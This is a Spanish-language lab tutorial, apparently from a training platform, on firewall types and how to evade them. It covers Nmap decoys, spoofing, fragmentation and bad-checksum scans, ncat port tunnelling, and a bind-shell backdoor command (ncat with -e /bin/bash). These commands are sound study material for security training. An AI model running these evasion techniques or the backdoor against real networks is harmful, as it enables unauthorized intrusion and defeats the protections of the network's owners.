Firewalls
Última actualización
Última actualización
Un firewall es un software o hardware que monitorea el tráfico de la red y lo compara con un conjunto de reglas antes de aprobarlo o bloquearlo. Una analogía simple es la de un guardia o portero en la entrada de un evento. Este guardián puede verificar la identificación de las personas con un conjunto de reglas antes de permitirles entrar (o salir).
Antes de entrar en más detalles sobre los firewalls, es útil recordar el contenido de un paquete IP y un segmento TCP . La siguiente figura muestra los campos que esperamos encontrar en un encabezado IP. Si la siguiente figura parece complicada, no debe preocuparse, ya que solo nos interesan unos pocos campos. Diferentes tipos de firewalls son capaces de inspeccionar varios campos de paquetes; sin embargo, el firewall más básico debería poder inspeccionar al menos los siguientes campos:
Protocolo
Dirección de la fuente
Dirección de destino-
Dependiendo del campo del protocolo, los datos del datagrama IP pueden ser una de muchas opciones. Tres protocolos comunes son:
tcp
UDP
ICMP
En el caso de TCP o UDP, el firewall debería al menos poder verificar los encabezados TCP y UDP para:
Número de puerto de origen
Número de puerto de destino
El encabezado TCP se muestra en la siguiente figura. Notamos que hay muchos campos que el firewall podría analizar o no; sin embargo, incluso los firewalls más limitados deberían otorgarle al administrador del firewall control sobre los números de puerto de origen y destino permitidos o bloqueados.
Esta sala cubre:
Los diferentes tipos de firewalls, según diferentes criterios de clasificación
Varias técnicas para evadir firewalls
Esta sala requiere que el usuario tenga conocimientos básicos de:
La lógica de diseño de los firewalls tradicionales es que un número de puerto identificaría el servicio y el protocolo. En los firewalls tradicionales, es decir, los firewalls de filtrado de paquetes, todo está permitido y bloqueado basándose principalmente en lo siguiente:
Protocolo, como TCP , UDP e ICMP
dirección IP de origen
dirección IP de destino
Número de puerto TCP o UDP de origen
Número de puerto TCP o UDP de destino
Consideremos este ejemplo muy simplificado. Si desea bloquear el tráfico HTTP, debe bloquear el tráfico TCP desde el puerto TCP de origen 80, es decir, el número de puerto utilizado por HTTP de forma predeterminada. Si desea permitir el tráfico HTTPS, debe permitir el tráfico desde el puerto TCP de origen número 443, es decir, el número de puerto utilizado por HTTPS. Obviamente, esto no es eficiente porque hay otros números de puerto predeterminados que debemos incluir. Además, el servicio puede ejecutarse en un número de puerto no predeterminado. Alguien puede ejecutar un servidor HTTP en el puerto 53 o 6667.
Hay varias formas de clasificar los firewalls. Una forma de clasificar los firewalls sería si son dispositivos independientes.
Firewall de hardware (firewall de dispositivo): como su nombre lo indica, un firewall de dispositivo es una pieza de hardware separada por la que debe pasar el tráfico de la red. Los ejemplos incluyen Cisco ASA (Adaptive Security Appliance), WatchGuard Firebox y el dispositivo Netgate pfSense Plus.
Firewall de software: este es un software que viene incluido con el sistema operativo , o puede instalarlo como un servicio adicional. MS Windows tiene un firewall incorporado, Windows Defender Firewall, que se ejecuta junto con otros servicios del sistema operativo y aplicaciones de usuario. Otro ejemplo es Linux iptables y firewalld.
También podemos clasificar los cortafuegos en:
Firewall personal: un firewall personal está diseñado para proteger un solo sistema o una red pequeña, por ejemplo, una pequeña cantidad de dispositivos y sistemas en una red doméstica. Lo más probable es que estés utilizando un firewall personal en casa sin prestarle mucha atención. Por ejemplo, muchos puntos de acceso inalámbrico diseñados para hogares tienen un firewall incorporado. Un ejemplo es Bitdefender BOX. Otro ejemplo es el firewall que forma parte de muchos puntos de acceso inalámbrico y enrutadores domésticos de Linksys y Dlink.
Firewall comercial: un firewall comercial protege redes de tamaño mediano a grande. En consecuencia, se esperaría una mayor confiabilidad y potencia de procesamiento, además de admitir un mayor ancho de banda de red. Lo más probable es que estés atravesando un firewall de este tipo cuando accedes a Internet desde tu universidad o empresa.
Desde la perspectiva del equipo rojo, la clasificación más crucial se basaría en las capacidades de inspección del firewall. Vale la pena pensar en las capacidades del firewall en términos de las capas ISO/OSI que se muestran en la siguiente figura. Antes de clasificar los firewalls según sus capacidades, vale la pena recordar que los firewalls se centran en las capas 3 y 4 y, en menor medida, en la capa 2. Los firewalls de próxima generación también están diseñados para cubrir las capas 5, 6 y 7. Cuantas más capas pueda inspeccionar un firewall, más sofisticado se volverá y más potencia de procesamiento necesitará.
Según las capacidades del firewall, podemos enumerar los siguientes tipos de firewall:
Firewall de filtrado de paquetes : el filtrado de paquetes es el tipo más básico de firewall. Este tipo de firewall inspecciona el protocolo, las direcciones IP de origen y destino, y los puertos de origen y destino en el caso de datagramas TCP y UDP. Es un firewall de inspección sin estado.
Puerta de enlace a nivel de circuito: además de las funciones que ofrecen los firewalls de filtrado de paquetes, las puertas de enlace a nivel de circuito pueden proporcionar capacidades adicionales, como verificar el protocolo de enlace de tres vías TCP con las reglas del firewall.
Stateful Inspection Firewall : en comparación con los tipos anteriores, este tipo de firewall brinda una capa adicional de protección ya que realiza un seguimiento de las sesiones TCP establecidas. Como resultado, puede detectar y bloquear cualquier paquete TCP fuera de una sesión TCP establecida.
Firewall proxy : un firewall proxy también se conoce como Firewall de aplicaciones (AF) y Firewall de aplicaciones web (WAF). Está diseñado para hacerse pasar por el cliente original y realizar solicitudes en su nombre. Este proceso permite que el firewall proxy inspeccione el contenido de la carga útil del paquete en lugar de limitarse a los encabezados del paquete. En términos generales, esto se utiliza para aplicaciones web y no funciona para todos los protocolos.
Firewall de próxima generación (NGFW): NGFW ofrece la mayor protección de firewall. Prácticamente puede monitorear todas las capas de la red, desde OSI Layer 2 hasta OSI Layer 7. Tiene conocimiento y control de las aplicaciones. Los ejemplos incluyen la serie Juniper SRX y Cisco Firepower.
Firewall en la nube o Firewall como servicio (FWaaS): FWaaS reemplaza un firewall de hardware en un entorno de nube. Sus características pueden ser comparables a las de NGFW, según el proveedor de servicios; sin embargo, se beneficia de la escalabilidad de la arquitectura de la nube. Un ejemplo es Cloudflare Magic Firewall, que es un firewall a nivel de red. Otro ejemplo es Juniper vSRX; Tiene las mismas características que un NGFW pero está implementado en la nube. También vale la pena mencionar AWS WAF para protección de aplicaciones web y AWS Shield para protección DDoS.
Al escanear un host detrás de un firewall, el firewall generalmente detectará y bloqueará los escaneos de puertos. Esta situación requeriría que usted adapte su red y escaneo de puertos para evadir el firewall. Un escáner de red como Nmap proporciona algunas funciones para ayudar con dicha tarea. En esta sala agrupamos las técnicas de Nmap en tres grupos:
Evasión mediante el control de la fuente MAC/IP/Puerto
Evasión mediante fragmentación, MTU y longitud de datos
Evasión mediante la modificación de campos de encabezado
Nmap le permite ocultar o falsificar la fuente, ya que puede utilizar:
Señuelo(s)
Apoderado
Dirección MAC falsificada
Dirección IP de origen falsificada
Número de puerto de origen fijo
Antes de profundizar en cada enfoque, mostremos cómo se ve un escaneo sigiloso de Nmap (SYN). Estamos escaneando un objetivo de MS Windows (con firewall incorporado predeterminado), por lo que agregamos-Pn
forzar que el escaneo continúe incluso si no se recibe una respuesta de ping. -Pn
se utiliza para omitir el descubrimiento del host y probar si el host está activo. Además, para acelerar el escaneo, nos limitamos a los 100 puertos más comunes usando la -F
opción. El escaneo se realizó usando el siguiente comando nmap -sS -Pn -F MACHINE_IP
.
La siguiente captura de pantalla muestra la captura de Wireshark de los paquetes de sonda Nmap . Wireshark se ejecutaba en el mismo sistema que ejecuta Nmap.
Podemos profundizar en todos los detalles incluidos en cada paquete; sin embargo, para este ejercicio, nos gustaría señalar lo siguiente:
Nuestra dirección IP 10.14.17.226
ha generado y enviado alrededor de 200 paquetes. La -F
opción limita el escaneo a los 100 puertos comunes principales; además, a cada puerto se le envía un segundo paquete SYN si no responde al primero.
El número del puerto de origen se elige al azar. En la captura de pantalla, puedes ver que es 37710.
La longitud total del paquete IP es de 44 bytes. Hay 20 bytes para el encabezado IP, lo que deja 24 bytes para el encabezado TCP . No se envían datos a través de TCP.
El tiempo de vida ( TTL ) es 42.
No se introducen errores en la suma de comprobación.
En las siguientes secciones y tareas, veremos cómo Nmap proporciona varias opciones para evadir el firewall y otras soluciones de seguridad de red.
Oculta tu escaneo con señuelos. El uso de señuelos hace que su dirección IP se mezcle con otras direcciones IP “señuelos”. En consecuencia, será difícil para el firewall y el host de destino saber de dónde proviene el escaneo de puertos. Además, esto puede agotar al equipo azul que investiga cada dirección IP de origen.
Con esta -D
opción, puede agregar direcciones IP de origen señuelo para confundir al objetivo. Considere el siguiente comando, nmap -sS -Pn -D 10.10.10.1,10.10.10.2,ME -F MACHINE_IP
. La captura de Wireshark se muestra en la siguiente figura.
El objetivo MACHINE_IP
también verá los análisis provenientes de 10.10.10.1
y 10.10.10.2
cuando solo una dirección IP de origen, ME
, esté ejecutando el análisis. Tenga en cuenta que si omite la ME
entrada en el comando de escaneo, Nmap colocará su dirección IP real, es decirME
, en una posición aleatoria.
También puede configurar Nmap para que utilice direcciones IP de origen aleatorias en lugar de especificarlas explícitamente. Al ejecutar nmap -sS -Pn -D RND,RND,ME -F MACHINE_IP
, Nmap elegirá dos direcciones IP de origen aleatorias para utilizarlas como señuelos. Nmap utilizará nuevas direcciones IP aleatorias cada vez que ejecute este comando. En la siguiente captura de pantalla, vemos cómo Nmap eligió dos direcciones IP aleatorias además de la nuestra10.14.17.226
.
Utilice un proxy HTTP/SOCKS4. Retransmitir el escaneo de puertos a través de un proxy ayuda a mantener su dirección IP desconocida para el host de destino. Esta técnica le permite mantener oculta su dirección IP mientras el objetivo registra la dirección IP del servidor proxy. Puedes seguir esta ruta usando la opción Nmap--proxies PROXY_URL
. Por ejemplo, nmap -sS -Pn --proxies PROXY_URL -F MACHINE_IP
enviará todos sus paquetes a través del servidor proxy que usted especifique. Tenga en cuenta que puede encadenar servidores proxy utilizando una lista separada por comas.
Falsifica la dirección MAC de origen . Nmap le permite falsificar su dirección MAC usando la opción --spoof-mac MAC_ADDRESS
. Esta técnica es complicada; La falsificación de la dirección MAC solo funciona si su sistema está en el mismo segmento de red que el host de destino. El sistema de destino responderá a una dirección MAC falsificada. Si no está en el mismo segmento de red y comparte la misma Ethernet, no podrá capturar ni leer las respuestas. Le permite explotar cualquier relación de confianza basada en direcciones MAC. Además, puede utilizar esta técnica para ocultar sus actividades de escaneo en la red. Por ejemplo, puede hacer que sus escaneos parezcan provenir de una impresora de red.
Falsifica la dirección IP de origen. Nmap le permite falsificar su dirección IP usando-S IP_ADDRESS
. Falsificar la dirección IP es útil si su sistema está en la misma subred que el host de destino; de lo contrario, no podrá leer las respuestas enviadas. La razón es que el host de destino responderá a la dirección IP falsificada y, a menos que pueda capturar las respuestas, no se beneficiará de esta técnica. Otro uso para falsificar su dirección IP es cuando usted controla el sistema que tiene esa dirección IP en particular. En consecuencia, si nota que el objetivo comenzó a bloquear la dirección IP falsificada, puede cambiar a una dirección IP falsificada diferente que pertenezca a un sistema que también controle. Esta técnica de escaneo puede ayudarte a mantener una existencia sigilosa; Además, puede utilizar esta técnica para explotar relaciones de confianza en la red basadas en direcciones IP.
Utilice un número de puerto de origen específico. Escanear desde un número de puerto de origen particular puede ser útil si descubre que los firewalls permiten paquetes entrantes desde números de puerto de origen particulares, como el puerto 53 u 80. Sin inspeccionar el contenido del paquete, los paquetes del puerto TCP de origen 80 o 443 parecen paquetes de un servidor web, mientras que los paquetes del puerto UDP 53 parecen respuestas a consultas DNS. Puede configurar su número de puerto usando-g
las opciones o --source-port
.
La siguiente captura de pantalla de Wireshark muestra un escaneo de Nmap con el número de puerto TCP de origen fijo 8080. Hemos utilizado el siguiente comando de Nmap, nmap -sS -Pn -g 8080 -F MACHINE_IP
. Puedes ver en la captura de pantalla cómo es que todas las conexiones TCP se envían desde el mismo número de puerto TCP.
Este es un resumen rápido de las opciones de Nmap analizadas en esta tarea.
Ocultar un escaneo con señuelos
-D DECOY1_IP1,DECOY_IP2,ME
Ocultar un escaneo con señuelos aleatorios
-D RND,RND,ME
Utilice un proxy HTTP/SOCKS4 para retransmitir conexiones
--proxies PROXY_URL
Dirección MAC de origen falsa
--spoof-mac MAC_ADDRESS
Dirección IP de origen falsa
-S IP_ADDRESS
Utilice un número de puerto de origen específico
-g PORT_NUM
o--source-port PORT_NUM
Puede controlar el tamaño del paquete, ya que le permite:
Paquetes de fragmentos, opcionalmente con una MTU determinada . Si el firewall, o el IDS/IPS, no vuelve a ensamblar el paquete, lo más probable es que lo deje pasar. En consecuencia, el sistema de destino lo volverá a ensamblar y procesará.
Envíe paquetes con longitudes de datos específicas.
Una forma sencilla de fragmentar sus paquetes sería utilizar la -f
opción. Esta opción fragmentará el paquete IP para transportar solo 8 bytes de datos. Como se mencionó anteriormente, ejecutar un escaneo de puerto TCP de Nmap significa que el paquete IP contendrá 24 bytes, el encabezado TCP. Si desea limitar los datos IP a 8 bytes, los 24 bytes del encabezado TCP se dividirán en 3 paquetes IP. Y esto es precisamente lo que obtuvimos cuando ejecutamos este escaneo de Nmapnmap -sS -Pn -f -F MACHINE_IP
. Como podemos ver en la captura de Wireshark en la figura siguiente, cada paquete IP está fragmentado en tres paquetes, cada uno con 8 bytes de datos.
Otra opción útil es -ff
, que limita los datos IP a 16 bytes. (Una manera fácil de recordar esto es que uno f
tiene 8 bytes, pero dos f
s tienen 16 bytes). Al ejecutar nmap -sS -Pn -ff -F MACHINE_IP
, esperamos que los 24 bytes del encabezado TCP se dividan entre dos paquetes IP, 16 + 8, porque-ff
se ha puesto un límite superior de 16 bytes. Los primeros paquetes se muestran en la captura de Wireshark a continuación.
Otra buena forma de fragmentar sus paquetes es configurando la MTU . En Nmap, --mtu VALUE
especifica el número de bytes por paquete IP. En otras palabras, el tamaño del encabezado IP no está incluido. El valor establecido para MTU siempre debe ser múltiplo de 8.
Tenga en cuenta que la Unidad de transmisión máxima ( MTU ) indica el tamaño máximo de paquete que puede pasar en una determinada conexión de capa de enlace. Por ejemplo, Ethernet tiene una MTU de 1500, lo que significa que el paquete IP más grande que se puede enviar a través de una conexión Ethernet (capa de enlace) es de 1500 bytes. No confunda esta MTU con las opciones --mtu
de Nmap .
La ejecución de Nmap--mtu 8
será idéntica -f
ya que los datos IP estarán limitados a 8 bytes. Los primeros paquetes generados por este escaneo de Nmapnmap -sS -Pn --mtu 8 -F MACHINE_IP
se muestran en la siguiente captura de Wireshark.
En algunos casos, es posible que descubra que el tamaño de los paquetes hace que el firewall o el IDS/IPS lo detecten y lo bloqueen. Si alguna vez te encuentras en una situación así, puedes hacer que el escaneo de puertos sea más evasivo estableciendo una longitud específica. Puede configurar la longitud de los datos transportados dentro del paquete IP usando --data-length VALUE
. Nuevamente, recuerda que la longitud debe ser múltiplo de 8.
Si ejecuta el siguiente escaneo de Nmapnmap -sS -Pn --data-length 64 -F MACHINE_IP
, cada segmento TCP se rellenará con datos aleatorios hasta que su longitud sea de 64 bytes. En la siguiente captura de pantalla, podemos ver que cada segmento TCP tiene una longitud de 64 bytes.
Este es un resumen rápido de las opciones de Nmap analizadas en esta tarea.
Fragmentar datos IP en 8 bytes
-f
Fragmentar datos IP en 16 bytes
-ff
Paquetes de fragmentos con MTU dada
--mtu VALUE
Especificar la longitud del paquete
--data-length NUM
Nmap le permite controlar varios campos de encabezado que podrían ayudar a evadir el firewall. Puede:
Establecer el tiempo de vida de IP
Enviar paquetes con opciones de IP especificadas
Enviar paquetes con una suma de comprobación TCP/UDP incorrecta
Nmap le brinda mayor control sobre los diferentes campos en el encabezado de IP. Uno de los campos que puede controlar es el tiempo de vida (TTL). Las opciones de Nmap incluyen --ttl VALUE
establecer el TTL en un valor personalizado. Esta opción puede resultar útil si cree que el TTL predeterminado expone sus actividades de escaneo de puertos.
En la siguiente captura de pantalla, podemos ver los paquetes capturados por Wireshark después de usar un TTL personalizado mientras ejecutamos nuestro escaneo nmap -sS -Pn --ttl 81 -F MACHINE_IP
. Al igual que con los ejemplos anteriores, los paquetes siguientes se capturan en el mismo sistema que ejecuta Nmap .
Uno de los campos del encabezado de IP es el campo Opciones de IP. Nmap le permite controlar el valor establecido en el campo Opciones de IP usando--ip-options HEX_STRING
, donde la cadena hexadecimal puede especificar los bytes que desea usar para completar el campo Opciones de IP. Cada byte se escribe como \xHH
, donde HH
representa dos dígitos hexadecimales, es decir, un byte.
Un atajo proporcionado por Nmap es utilizar las letras para realizar sus solicitudes:
R
para grabar la ruta.
T
para grabar la marca de tiempo.
U
para grabar ruta y grabar marca de tiempo.
L
para enrutamiento de origen flexible y debe ir seguido de una lista de direcciones IP separadas por espacios.
S
para enrutamiento de origen estricto y debe ir seguido de una lista de direcciones IP separadas por espacios.
El enrutamiento de origen estricto y flexible puede ser útil si desea intentar que sus paquetes tomen una ruta particular para evitar un sistema de seguridad específico.
Otro truco que puedes utilizar es enviar tus paquetes con una suma de verificación intencionalmente incorrecta. Algunos sistemas descartarían un paquete con una suma de comprobación incorrecta, mientras que otros no. Puede utilizar esto a su favor para descubrir más sobre los sistemas de su red. Todo lo que necesitas hacer es agregar la opción --badsum
a tu comando Nmap .
Usando nmap -sS -Pn --badsum -F MACHINE_IP
, escaneamos nuestro objetivo usando sumas de verificación TCP intencionalmente incorrectas . El objetivo abandonó todos nuestros paquetes y no respondió a ninguno de ellos.
La siguiente captura de pantalla muestra los paquetes capturados por Wireshark en el sistema que ejecuta Nmap . Wireshark se puede configurar opcionalmente para verificar las sumas de verificación y podemos notar cómo resalta los errores.
Este es un resumen rápido de las opciones de Nmap analizadas en esta tarea.
Establecer el campo de tiempo de vida de IP
--ttl VALUE
Enviar paquetes con opciones de IP especificadas
--ip-options OPTIONS
Enviar paquetes con una suma de comprobación TCP/UDP incorrecta
--badsum
Tres técnicas comunes de evasión de firewall son:
Salto de puerto
Túneles portuarios
Uso de puertos no estándar
El salto de puerto es una técnica en la que una aplicación salta de un puerto a otro hasta que puede establecer y mantener una conexión. En otras palabras, la aplicación puede probar diferentes puertos hasta que pueda establecer una conexión con éxito. Algunas aplicaciones "legítimas" utilizan esta técnica para evadir los cortafuegos. En la siguiente figura, el cliente siguió probando diferentes puertos para llegar al servidor hasta que descubrió un puerto de destino que no estaba bloqueado por el firewall.
Existe otro tipo de salto de puerto en el que la aplicación establece la conexión en un puerto y comienza a transmitir algunos datos; después de un tiempo, establece una nueva conexión en (es decir, salta a) un puerto diferente y continúa enviando más datos. El objetivo es dificultar que el equipo azul detecte y rastree todo el tráfico intercambiado.
En AttackBox, puede usar el comando ncat -lvnp PORT_NUMBER
para escuchar en un determinado puerto TCP .
-l
escucha las conexiones entrantes
-v
proporciona detalles detallados (opcional)
-n
no resuelve nombres de host a través de DNS (opcional)
-p
especifica el número de puerto a utilizar
-lvnp PORT_NUMBER
escucha en el puerto TCPPORT_NUMBER
. Si el número de puerto es inferior a 1024, deberá ejecutarlo ncat
como root.
Por ejemplo, ejecútelo ncat -lvnp 1025
en AttackBox para escuchar en el puerto TCP 1025, como se muestra en el resultado del terminal a continuación.
Queremos probar si la máquina de destino puede conectarse a AttackBox en el puerto TCP 1025. Al navegar ahttp://MACHINE_IP:8080
, se encontrará con una página web que le permitirá ejecutar comandos en la máquina de destino. Tenga en cuenta que, en un caso real, podría estar explotando un servicio vulnerable que permite la ejecución remota de código ( RCE ) o un sistema mal configurado para ejecutar algún código de su elección.
En esta práctica de laboratorio, simplemente puede ejecutar un comando de Linux enviándolo en el formulario proporcionado enhttp://MACHINE_IP:8080
. Podemos usar Netcat para conectarnos al puerto de destino usando el comando ncat IP_ADDRSS PORT_NUMBER
. Por ejemplo, podemos ejecutar ncat ATTACKBOX_IP 1024
para conectarnos a AttackBox en el puerto TCP 1024. Queremos verificar si el firewall está configurado para permitir conexiones. Si la conexión desde la máquina, con dirección IPMACHINE_IP
, puede pasar a través del firewall, se nos notificará de la conexión exitosa en el terminal AttackBox como se muestra a continuación.
Responda las siguientes preguntas
Utilizando esta sencilla técnica, descubra a qué número de puerto de los siguientes números de puerto TCP de destino se puede acceder desde el sistema protegido.
21
23
25
26
27
La tunelización de puertos también se conoce como reenvío de puertos y mapeo de puertos . En términos simples, esta técnica reenvía los paquetes enviados a un puerto de destino a otro puerto de destino. Por ejemplo, los paquetes enviados al puerto 80 en un sistema se reenvían al puerto 8080 en otro sistema.
ncat
Considere el caso en el que tiene un servidor detrás del firewall al que no puede acceder desde el exterior. Sin embargo, descubrió que el firewall no bloquea puertos específicos. Puede utilizar este conocimiento a su favor canalizando el tráfico a través de un puerto diferente.
Considere el siguiente caso. Tenemos un servidor SMTP escuchando en el puerto 25; sin embargo, no podemos conectarnos al servidor SMTP porque el firewall bloquea los paquetes de Internet enviados al puerto de destino 25. Descubrimos que los paquetes enviados al puerto de destino 443 no están bloqueados, por lo que decidimos aprovechar esto y enviar nuestros paquetes al puerto 443, y después de que pasan a través del firewall, los reenviamos al puerto 25. Digamos que podemos ejecutar un comando de nuestra elección en uno de los sistemas detrás del firewall. Podemos usar ese sistema para reenviar nuestros paquetes al servidor SMTP usando el siguiente comando.
ncat -lvnp 443 -c "ncat TARGET_SERVER 25"
El comando ncat
utiliza las siguientes opciones:
-lvnp 443
escucha en el puerto TCP 443. Debido a que el número de puerto es menor que 1024, en este caso debe ejecutarloncat
como root.
-c
o --sh-exec
ejecuta el comando dado a través de /bin/sh
.
"ncat TARGET_SERVER 25"
se conectará al servidor de destino en el puerto 25.
Como resultado, ncat
escuchará en el puerto 443, pero reenviará todos los paquetes al puerto 25 en el servidor de destino. Debido a que en este caso el firewall bloquea el puerto 25 y permite el puerto 443, la creación de túneles de puertos es una forma eficaz de evadir el firewall.
ncat -lvnp PORT_NUMBER -e /bin/bash
creará una puerta trasera a través del número de puerto especificado que le permitirá interactuar con el shell Bash.
-e
o --exec
ejecuta el comando dado
/bin/bash
Ubicación del comando que queremos ejecutar.
En AttackBox, podemos ejecutarlo ncat MACHINE_IP PORT_NUMBER
para conectarnos a la máquina de destino e interactuar con su shell.
Considerando el caso de que tengamos un firewall, no basta con usarlo ncat
para crear una puerta trasera a menos que podamos conectarnos al número del puerto de escucha. Además, a menos que lo ejecutemos ncat
como usuario privilegiado root
o usando sudo
, no podemos usar números de puerto inferiores a 1024.
Los cortafuegos tradicionales, como los de filtrado de paquetes, esperan que un número de puerto determine el protocolo que se utiliza e identifique la aplicación. En consecuencia, si desea bloquear una aplicación, deberá bloquear un puerto. Lamentablemente, esto ya no es válido ya que muchas aplicaciones se camuflan utilizando puertos asignados para otras aplicaciones. En otras palabras, un número de puerto ya no es suficiente ni confiable para identificar la aplicación que se está utilizando. Agregue a esto el uso generalizado de cifrado, por ejemplo, a través de SSL/TLS.
El firewall de próxima generación (NGFW) está diseñado para manejar los nuevos desafíos que enfrentan las empresas modernas. Por ejemplo, algunas de las capacidades de NGFW incluyen:
Integrar un firewall y un Sistema de Prevención de Intrusiones ( IPS ) en tiempo real . Puede detener cualquier amenaza detectada en tiempo real.
Identificar usuarios y su tráfico. Puede hacer cumplir la política de seguridad por usuario o por grupo.
Identifique las aplicaciones y protocolos independientemente del número de puerto que se utilice.
Identificar el contenido que se transmite. Puede hacer cumplir la política de seguridad en caso de que se detecte algún contenido infractor.
Capacidad para descifrar tráfico SSL/TLS y SSH . Por ejemplo, restringe las técnicas evasivas basadas en el cifrado para transferir archivos maliciosos.
Un NGFW configurado e implementado correctamente inutiliza muchos ataques.
La siguiente tabla resume los argumentos de Nmap tratados en esta sala.
Ocultar un escaneo con señuelos
-D DECOY1_IP1,DECOY_IP2,ME
Utilice un proxy HTTP/SOCKS4 para retransmitir conexiones
--proxies PROXY_URL
Dirección MAC de origen falsa
--spoof-mac MAC_ADDRESS
Dirección IP de origen falsa
-S IP_ADDRESS
Utilice un número de puerto de origen específico
-g PORT_NUM
o--source-port PORT_NUM
Fragmentar datos IP en 8 bytes
-f
Fragmentar datos IP en 16 bytes
-ff
Paquetes de fragmentos con MTU dada
--mtu VALUE
Especificar la longitud del paquete
--data-length NUM
Establecer el campo de tiempo de vida de IP
--ttl VALUE
Enviar paquetes con opciones de IP especificadas
--ip-options OPTIONS
Enviar paquetes con una suma de comprobación TCP/UDP incorrecta
--badsum
Capas ISO/OSI y capas TCP/IP. Le sugerimos revisar el módulo si desea actualizar sus conocimientos.
Escaneo de redes y puertos. Le sugerimos completar el módulo para aprender más sobre este tema.
Invertir y unir conchas. Recomendamos espacio para aprender más sobre las conchas.
Esta sala cubrió los diferentes tipos de firewalls y las técnicas de evasión comunes. Comprender correctamente las limitaciones de la tecnología de firewall a la que se dirige le ayudará a elegir y construir procesos de evasión de firewall adecuados. Esta sala demostró diferentes técnicas de evasión usando ncat
; sin embargo, se pueden lograr los mismos resultados utilizando una herramienta diferente, como socat
. Se recomienda consultar habitación.